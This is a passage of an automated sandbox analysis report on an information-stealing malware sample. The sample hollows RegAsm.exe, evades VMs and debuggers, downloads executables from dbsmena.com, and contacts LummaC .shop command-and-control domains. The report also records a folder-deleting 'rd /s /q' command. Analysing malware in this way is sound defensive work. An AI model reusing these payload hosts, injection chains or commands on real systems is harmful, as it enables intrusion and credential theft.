Source: RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW-
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: /dbsmena.com/ljhgfsd.exe
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: https://dbsmena.com/vdshfd.exe\|0\|0\|Start\|4\|https://dbsmena.com/ljhgfsd.exe\|0\|0\|Start\|4\|m2U
Source: RegAsm.exe, 00000002.00000002.2264784834.00000000274D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \REGISTRY\USER\S-1-5-21-2246122658-3693405117-2476756634-1002E\ZVZFKMB9\ljhgfsd[1].exe
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: https://dbsmena.com/vdshfd.exe\|0\|0\|Start\|4\|https://dbsmena.com/ljhgfsd.exe\|0\|0\|Start\|4\|
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: =V1218742https://dbsmena.com/ljhgfsd.exe1kkkk1218743https://dbsmena.com/vdshfd.exe1kkkk4fde15b103ca94
Source: RegAsm.exe, 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2244524947.00000000011DC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069276700.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2069001280.0000000000D85000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2725845135.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.2726793130.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000002.00000002.2274325888.000000002E4BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ljhgfsdexeZ
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /ljhgfsd.exe
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hostdbsmena.comGET /ljhgfsd.exe HTTP/1.1?.
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1218742\|https://dbsmena.com/ljhgfsd.exe\|1\|kkkk\|1218743\|https://dbsmena.com/vdshfd.exe\|1\|kkkk\|
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarei
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GET /ljhgfsd.exe HTTP/1.1a-
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GET /ljhgfsd.exe HTTP/1.1
Source: RegAsm.exe, 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1218742\|https://dbsmena.com/ljhgfsd.exe\|1\|kkkk\|1218743\|https://dbsmena.com/vdshfd.exe\|1\|kkkk\|vj<
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: _george/dbsmena.com/ljhgfsd.exea; boundary=----HIDAAKEGDBFIJJKFHCFB604elease\storage\permanent\chrome\idb\561288849sdhlie.sqlite-shmite-shmte-wal---AKEBFCFIJJKKECAKJEHD
Source: RegAsm.exe, 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2274325888.000000002E4B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: https://dbsmena.com/ljhgfsd.exe
Source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, 00000008.00000002.2624007982.0000000000563000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Vhttps://dbsmena.com/ljhgfsd.exeent-Disposition: form-data; name="token"
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000115A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\s
Source: RegAsm.exe, 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: `_wkkjqaiaxkhbna.com/ljhgfsd.exea; boundary=----ofiles\fqs92o4p.default-release\storage\permanent\chrome\idb\\*ilmcdcgbdnnilmcdcgggdrvhost.exe
Source: RegAsm.exe, 00000008.00000002.2635805303.0000000014E4C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ljhgfsd[1].exe
Source: RegAsm.exe, 00000002.00000002.2274325888.000000002E4B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: com/ljhgfsd.exe`
Source: RegAsm.exe, 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: na.com/ljhgfsd.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71518
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-72675
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-71540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_0041AD48

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

2_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00419750 mov eax, dword ptr fs:[00000030h]	2_2_00419750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004014AD mov eax, dword ptr fs:[00000030h]	8_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040148A mov eax, dword ptr fs:[00000030h]	8_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004014A2 mov eax, dword ptr fs:[00000030h]	8_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00418599 mov eax, dword ptr fs:[00000030h]	8_2_00418599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041859A mov eax, dword ptr fs:[00000030h]	8_2_0041859A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041CEEA SetUnhandledExceptionFilter,	2_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C28B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C28B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C43AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C43AC62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0041D016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041D98C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0041D98C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042762E SetUnhandledExceptionFilter,	8_2_0042762E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6F8AB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8AB1F7 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_6F8AB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224242AF SetUnhandledExceptionFilter,	8_2_224242AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22422C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_22422C8E

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userKECGDBFCBK.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1800, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0296212D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0296212D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: userHJEBGHIEBF.exe, 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	2_2_00419600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	8_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	8_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C48008	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D7E008	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: ADF008	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 460000
Source: C:\ProgramData\HDGCAAFBFB.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BA7008
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\ProgramData\AFBFHDBKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BEF008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKECGDBFCBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userHJEBGHIEBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKECGDBFCBK.exe "C:\Users\userKECGDBFCBK.exe"	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGCAAFBFB.exe "C:\ProgramData\HDGCAAFBFB.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AFBFHDBKJE.exe "C:\ProgramData\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userHJEBGHIEBF.exe "C:\Users\userHJEBGHIEBF.exe"	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\AFBFHDBKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C28B341 cpuid

2_2_6C28B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_00417B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	8_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0042B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	8_2_0042B1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	8_2_00429A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	8_2_0042B268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	8_2_0042B2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	8_2_0042AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	8_2_004253E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	8_2_0042B494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	8_2_0042749C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	8_2_0042B556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	8_2_00429D6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	8_2_0042E56F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	8_2_00427576
